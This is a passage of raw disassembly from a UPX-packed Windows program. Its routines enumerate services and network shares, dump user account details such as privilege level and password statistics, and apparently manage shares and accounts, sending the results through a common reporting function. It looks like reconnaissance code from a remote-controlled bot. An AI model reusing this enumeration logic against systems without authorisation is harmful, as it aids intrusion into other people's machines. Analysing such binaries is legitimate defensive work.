					; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94C
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D95F ; default
					; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_40D9A0[ecx]
		jmp	ds:off_40D978[ecx*4] ; switch jump


loc_40D90D:				; DATA XREF: UPX0:off_40D978o
		push	offset aTheSpecifiedDa ; jumptable 0040D906 case 7
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D914:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheServiceDepe ; jumptable 0040D906 case 17
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D91B:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheServiceDe_0 ; jumptable 0040D906 case 10
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D922:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheServiceHasB ; jumptable 0040D906 case 0
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D929:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheSpecified_0 ; jumptable 0040D906 case 2
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D930:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheServiceCoul ; jumptable 0040D906 case 11
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D937:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheServiceHa_0 ; jumptable 0040D906 case 14
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D93E:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheRequested_1 ; jumptable 0040D906 case 3
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D945:				; CODE XREF: sub_40D834+D2j
					; DATA XREF: UPX0:off_40D978o
		push	offset aTheServiceHasN ; jumptable 0040D906 case 4
		jmp	short loc_40D951
; ---------------------------------------------------------------------------


loc_40D94C:				; CODE XREF: sub_40D834+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40D951:				; CODE XREF: sub_40D834+41j
					; sub_40D834+4Bj ...
		push	offset byte_440A28 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D95F:				; CODE XREF: sub_40D834+36j
					; sub_40D834+89j ...
		push	eax		; default
					; jumptable 0040D906 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset byte_440A28 ; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40D972:				; CODE XREF: sub_40D834+129j
		mov	eax, offset byte_440A28
		retn
sub_40D834	endp

; ---------------------------------------------------------------------------
off_40D978	dd offset loc_40D922	; DATA XREF: sub_40D834+D2r
		dd offset loc_40D929	; jump table for switch	statement
		dd offset loc_40D93E
		dd offset loc_40D945
		dd offset loc_40D90D
		dd offset loc_40D91B
		dd offset loc_40D930
		dd offset loc_40D937
		dd offset loc_40D914
		dd offset loc_40D95F
byte_40D9A0	db	0,     9,     1,     2 ; DATA XREF: sub_40D834+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D9B2(int,char *Str,int)

sub_40D9B2	proc near		; CODE XREF: sub_40EE51+209Ap

var_38C		= dword	ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_43C60C	; OpenSCManagerA
		push	ebx		; int
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]	; int
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_40D9EA:				; CODE XREF: sub_40D9B2+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_43C5D8	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40DA24
		call	ds:dword_423088	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40DAD8


loc_40DA24:				; CODE XREF: sub_40D9B2+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DACF
		lea	esi, [ebp+var_188]


loc_40DA35:				; CODE XREF: sub_40D9B2+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7E
		dec	eax
		jz	short loc_40DA77
		dec	eax
		jz	short loc_40DA70
		dec	eax
		jz	short loc_40DA69
		dec	eax
		jz	short loc_40DA62
		dec	eax
		jz	short loc_40DA5B
		dec	eax
		jz	short loc_40DA54
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA83
; ---------------------------------------------------------------------------


loc_40DA54:				; CODE XREF: sub_40D9B2+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA83
; ---------------------------------------------------------------------------


loc_40DA5B:				; CODE XREF: sub_40D9B2+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA83
; ---------------------------------------------------------------------------


loc_40DA62:				; CODE XREF: sub_40D9B2+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA83
; ---------------------------------------------------------------------------


loc_40DA69:				; CODE XREF: sub_40D9B2+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA83
; ---------------------------------------------------------------------------


loc_40DA70:				; CODE XREF: sub_40D9B2+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA83
; ---------------------------------------------------------------------------


loc_40DA77:				; CODE XREF: sub_40D9B2+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA83
; ---------------------------------------------------------------------------


loc_40DA7E:				; CODE XREF: sub_40D9B2+87j
		push	offset aStopped	; "    Stopped"


loc_40DA83:				; CODE XREF: sub_40D9B2+A0j
					; sub_40D9B2+A7j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dest]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA35


loc_40DACF:				; CODE XREF: sub_40D9B2+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EA


loc_40DAD8:				; CODE XREF: sub_40D9B2+6Cj
		push	[ebp+var_C]
		call	ds:dword_43C51C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40DAEF(int,char *Str,int)

sub_40DAEF	proc near		; CODE XREF: sub_40EE51:loc_410FA2p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Str]
		test	edi, edi
		jz	loc_40DB88
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB18
		dec	eax
		jnz	short loc_40DB68
		push	edi
		push	0
		call	sub_40DCC1
		pop	ecx
		pop	ecx
		jmp	short loc_40DB64
; ---------------------------------------------------------------------------


loc_40DB18:				; CODE XREF: sub_40DAEF+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB56
		push	24h		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB56
		push	57h
		pop	eax


loc_40DB2F:				; CODE XREF: sub_40DAEF+77j
		push	eax
		call	sub_40E499
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_440CE4
		push	ds:off_42D7A0[eax*4]
		push	offset dword_42DE98 ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_40DBA8
; ---------------------------------------------------------------------------


loc_40DB56:				; CODE XREF: sub_40DAEF+2Dj
					; sub_40DAEF+3Bj
		push	[ebp+arg_8]	; int
		push	edi		; Str
		push	0		; int
		call	sub_40DC15
		add	esp, 0Ch


loc_40DB64:				; CODE XREF: sub_40DAEF+27j
		test	eax, eax
		jnz	short loc_40DB2F


loc_40DB68:				; CODE XREF: sub_40DAEF+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_440CE4
		push	ds:off_42D7A4[eax*4]
		push	offset dword_42DE6C ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_40DBA8
; ---------------------------------------------------------------------------


loc_40DB88:				; CODE XREF: sub_40DAEF+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_440CE4
		lea	eax, [eax+eax*2]
		push	ds:off_42D7A0[eax*4]
		push	offset dword_42DE38 ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40DBA8:				; CODE XREF: sub_40DAEF+65j
					; sub_40DAEF+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBAE	proc near		; CODE XREF: sub_415F77+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBB
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DBBB:				; CODE XREF: sub_40DBAE+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_423150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	ds:byte_440EE4,	1
		mov	ebp, eax
		jnz	short loc_40DBF8
		or	ds:byte_440EE4,	1
		lea	eax, [ebp+1]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	ds:dword_440C84, eax


loc_40DBF8:				; CODE XREF: sub_40DBAE+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_440C84
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, ds:dword_440C84
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40DC15(int,char *Str,int)

sub_40DC15	proc near		; CODE XREF: sub_40DAEF+6Dp
					; sub_41629B+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC80
		push	[ebp+Str]
		mov	edi, eax
		call	sub_40DC80
		push	24h		; Val
		mov	[ebp+var_20], eax
		push	[ebp+Str]	; Str
		call	_strchr
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC80
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_43C518
		pop	edi
		leave
		retn
sub_40DC15	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC80	proc near		; CODE XREF: sub_40DC15+Ap
					; sub_40DC15+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8D
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DC8D:				; CODE XREF: sub_40DC80+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_42306C
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC1	proc near		; CODE XREF: sub_40DAEF+20p
					; sub_415F77+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC80
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC80
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_43C4F0
		pop	esi
		retn
sub_40DCC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40DCE4(int,char *Str,int,int)

sub_40DCE4	proc near		; CODE XREF: sub_40EE51+217Dp

Dest		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC80
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi		; int
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]	; int
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 18h


loc_40DD1D:				; CODE XREF: sub_40DCE4+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_43C564
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD80
		cmp	ebx, 0EAh
		jz	short loc_40DD80
		push	ebx
		push	ebx
		call	sub_40E499
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42DEF4 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 24h
		jmp	short loc_40DDED
; ---------------------------------------------------------------------------


loc_40DD80:				; CODE XREF: sub_40DCE4+5Dj
					; sub_40DCE4+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE4
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40DD8E:				; CODE XREF: sub_40DCE4+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_43C50C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA5
		mov	eax, offset aNo	; "No"


loc_40DDA5:				; CODE XREF: sub_40DCE4+BAj
		push	eax
		lea	eax, [ebp+Dest]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD8E
		xor	esi, esi


loc_40DDE4:				; CODE XREF: sub_40DCE4+A2j
		push	[ebp+var_4]
		call	ds:dword_43C6A8


loc_40DDED:				; CODE XREF: sub_40DCE4+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1D
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40DE05(int,int,int,int,char *Str,int)

sub_40DE05	proc near		; CODE XREF: sub_40EE51:loc_411044p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Str		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEA9
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE47
		dec	eax
		jz	short loc_40DE3C
		dec	eax
		jnz	short loc_40DE62
		push	[ebp+arg_14]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_C]	; int
		push	ebx		; int
		push	edi		; int
		call	sub_40DF4B
		add	esp, 14h
		jmp	short loc_40DE5E
; ---------------------------------------------------------------------------


loc_40DE3C:				; CODE XREF: sub_40DE05+1Dj
		push	ebx
		push	edi
		call	sub_40DF2A
		pop	ecx
		pop	ecx
		jmp	short loc_40DE5E
; ---------------------------------------------------------------------------


loc_40DE47:				; CODE XREF: sub_40DE05+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5B
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED0
		add	esp, 0Ch
		jmp	short loc_40DE5E
; ---------------------------------------------------------------------------


loc_40DE5B:				; CODE XREF: sub_40DE05+45j
		push	57h
		pop	eax


loc_40DE5E:				; CODE XREF: sub_40DE05+35j
					; sub_40DE05+40j ...
		cmp	eax, edi
		jnz	short loc_40DE82


loc_40DE62:				; CODE XREF: sub_40DE05+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_440EE8
		push	ds:off_42D7A4[eax*4]
		push	offset dword_42DFD8 ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_40DEC9
; ---------------------------------------------------------------------------


loc_40DE82:				; CODE XREF: sub_40DE05+5Bj
		push	eax
		call	sub_40E499
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_440EE8
		push	ds:off_42D7A0[eax*4]
		push	offset dword_42DF9C ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_40DEC9
; ---------------------------------------------------------------------------


loc_40DEA9:				; CODE XREF: sub_40DE05+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_440EE8
		lea	eax, [eax+eax*2]
		push	ds:off_42D7A0[eax*4]
		push	offset dword_42DF64 ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40DEC9:				; CODE XREF: sub_40DE05+7Bj
					; sub_40DE05+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED0	proc near		; CODE XREF: sub_40DE05+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC80
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC80
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC80
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_43C4FC
		pop	edi
		leave
		retn
sub_40DED0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2A	proc near		; CODE XREF: sub_40DE05+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC80
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC80
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_43C4EC
		pop	esi
		retn
sub_40DF2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40DF4B(int,int,int,char *Str,int)

sub_40DF4B	proc near		; CODE XREF: sub_40DE05+2Dp

Dest		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC80
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC80
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_43C670
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2D8
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E313
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+Dest]
		push	offset aAccountS ; "Account: %S"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+Str]
		mov	ebx, [ebp+arg_8]
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+Dest]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+Dest]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+Dest]
		push	offset aCommentS ; "Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E064
		dec	eax
		jz	short loc_40E05D
		dec	eax
		jz	short loc_40E056
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E069
; ---------------------------------------------------------------------------


loc_40E056:				; CODE XREF: sub_40DF4B+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E069
; ---------------------------------------------------------------------------


loc_40E05D:				; CODE XREF: sub_40DF4B+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40E069
; ---------------------------------------------------------------------------


loc_40E064:				; CODE XREF: sub_40DF4B+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40E069:				; CODE XREF: sub_40DF4B+109j
					; sub_40DF4B+110j ...
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+Dest]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+Dest]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+Dest]
		push	offset aParametersS ; "Parameters: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+Dest]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+Dest]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+Dest]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+Dest]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+Dest]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+Dest]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
